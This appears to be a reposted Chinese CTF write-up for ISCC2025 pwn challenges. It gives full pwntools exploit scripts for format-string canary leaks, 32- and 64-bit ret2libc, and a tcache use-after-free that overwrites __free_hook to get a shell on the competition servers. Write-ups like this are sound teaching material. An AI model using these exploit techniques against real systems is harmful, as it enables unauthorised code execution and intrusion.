签
ldd一下路径有问题
patchelf修一下
canary的距离是%23$p
后面就是常规的32位ret2libc了
注意由于LibcSearcher搜不到880的puts libc,改为手动设置版本为libc6-i386_2.35-0ubuntu3.8_amd64
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('101.200.155.151', 12400)
#p=process('./attachment-7')
elf = ELF('./attachment-7')
p.sendlineafter(b'name?nn',b'%23$p')
p.recvuntil(b'0x')
canary = int(p.recv(8),16)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
payload = b'a'*0x40+p32(canary)+b'a'*0x8+p32(0xdeadbeef)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendafter(b'password?nn',payload)
puts_addr = u32(p.recv()[0:4])
#libc=LibcSearcher("puts",puts_addr)
#libcbase=puts_addr-libc.dump("puts")
#addr_system=libcbase+libc.dump("system")
#addr_binsh=libcbase+libc.dump("str_bin_sh")
addr_system = puts_addr-(0x072880-0x047cd0)
addr_binsh = puts_addr+(0x1b90d5-0x072880)
p.sendlineafter(b'name?nn',b'%23$p')
p.recvuntil(b'0x')
canary = int(p.recv(8),16)
payload = b'a'*0x40+p32(canary)+b'a'*0x8+p32(0xdeadbeef)+p32(addr_system)+p32(main_addr)+p32(addr_binsh)
p.sendafter(b'password?nn',payload)
p.interactive()
key
需要输入字符串为flag使key=520 进入下一个栈溢出函数
后面栈溢出就是常规的泄露canary然后64位的ret2libc了
将canary末尾x00填充为b,利用%s泄露
给了libc文件,版本是libc6_2.31-0ubuntu9.17_amd64
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('101.200.155.151', 12200)
#p=process('./attachment-8')
elf = ELF('./attachment-8')
libc=ELF('./attachment-8.so')
p.sendlineafter(b'size:n',b'100')
p.sendlineafter(b'flag:n',b'flag')
pop_rdi_ret = 0x4014c3
ret_addr = 0x40101A
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
payload = b'a'*0x18+b'b'
p.sendafter(b'ISCCn',payload)
p.recv(0x18)
canary = int.from_bytes(p.recv(8), 'little') - ord('b')
print(hex(canary))
payload = b'a'*0x18+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter(b'you',payload)
puts_addr = u64(p.recvuntil('x7f')[-6:].ljust(8, b'x00'))
print(hex(puts_addr))
libcbase = puts_addr - libc.sym['puts']
addr_system=libcbase+libc.sym["system"]
addr_binsh=libcbase+next(libc.search(b"/bin/sh"))
payload = b'a'*0x18+b'b'
p.sendafter(b'ISCCn',payload)
p.recv(0x18)
canary = int.from_bytes(p.recv(8), 'little') - ord('b')
payload = b'a'*0x18+p64(canary)+p64(0xdeadbeef)+p64(ret_addr)+p64(pop_rdi_ret)+p64(addr_binsh)+p64(addr_system)
p.sendline(payload)
p.interactive()
《魔导王的秘密》
libc2.27 tcache的堆题,存在uaf和堆溢出
拷打一下ai:
很清晰了,先利用unsortedbin泄露main_arena+96的地址,计算基址后根据Ubuntu GLIBC 2.27-3ubuntu1.6计算得到__free_hook的地址和system的地址
修改tcache的bk指针为__free_hook,然后两次分配之后修改内容为system的地址
最后执行free(‘/bin/shx00’)即可
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('101.200.155.151', 12700)
#p=process('./attachment-13')
elf = ELF('./attachment-13')
libc=ELF('./attachment-13.6') #2.27
def create(idx,size):
p.sendlineafter(b"your choice:n", b"1")
p.sendlineafter(b"coordinate:n", str(idx))
p.sendlineafter(b"required:n", str(size))
def show(idx):
p.sendlineafter(b"your choice:n", b"4")
p.sendlineafter(b'cosmic truth:n',str(idx))
def free(idx):
p.sendlineafter(b"your choice:n", b"2")
p.sendlineafter(b'cleanse:n',str(idx))
def edit(idx,size,content):
p.sendlineafter(b"your choice:n", b"3")
p.sendlineafter(b'inscription:n',str(idx))
p.sendlineafter(b"length:n", str(size))
p.sendafter(b"truth:n", content)
create(0,0x410)
create(1,0x20) #tcache
create(2,0x20)
create(3,0x20)
create(4,0x20)
free(0)
show(0)
leak_addr = u64(p.recvuntil('x7f')[-6:].ljust(8, b'x00')) #main_arena_addr+0x60
libc_base = leak_addr - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
free(2)
free(3)
edit(3,0x8,p64(free_hook))
create(2,0x20)
create(3,0x20)
edit(3,0x8,p64(system)) #edit __free_hook to system
edit(4,0x8,b'/bin/shx00')
free(4)
p.interactive()
原文始发于微信公众号(智佳网络安全):【CTF】ISCC2025练武题PWN方向WP
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论